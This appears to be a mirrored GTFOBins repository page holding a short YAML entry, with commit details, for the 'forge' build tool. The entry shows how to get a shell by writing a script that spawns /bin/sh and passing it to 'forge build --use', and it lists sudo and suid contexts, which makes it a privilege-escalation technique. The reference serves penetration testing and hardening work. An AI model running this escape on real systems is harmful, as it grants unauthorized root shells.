1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/forge
Andrea Cardaci 9ff3d1cb90 Add forge
Close #493.

Co-Authored-By: Andrea Cardaci <cyrus.and@gmail.com>
2026-01-20 00:46:21 +01:00

14 lines
289 B
Plaintext

---
functions:
shell:
- code: |-
echo '#!/bin/sh' >/path/to/temp-file
echo -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-file
chmod +x /path/to/temp-file
forge build --use /path/to/temp-file
contexts:
sudo:
suid:
unprivileged:
...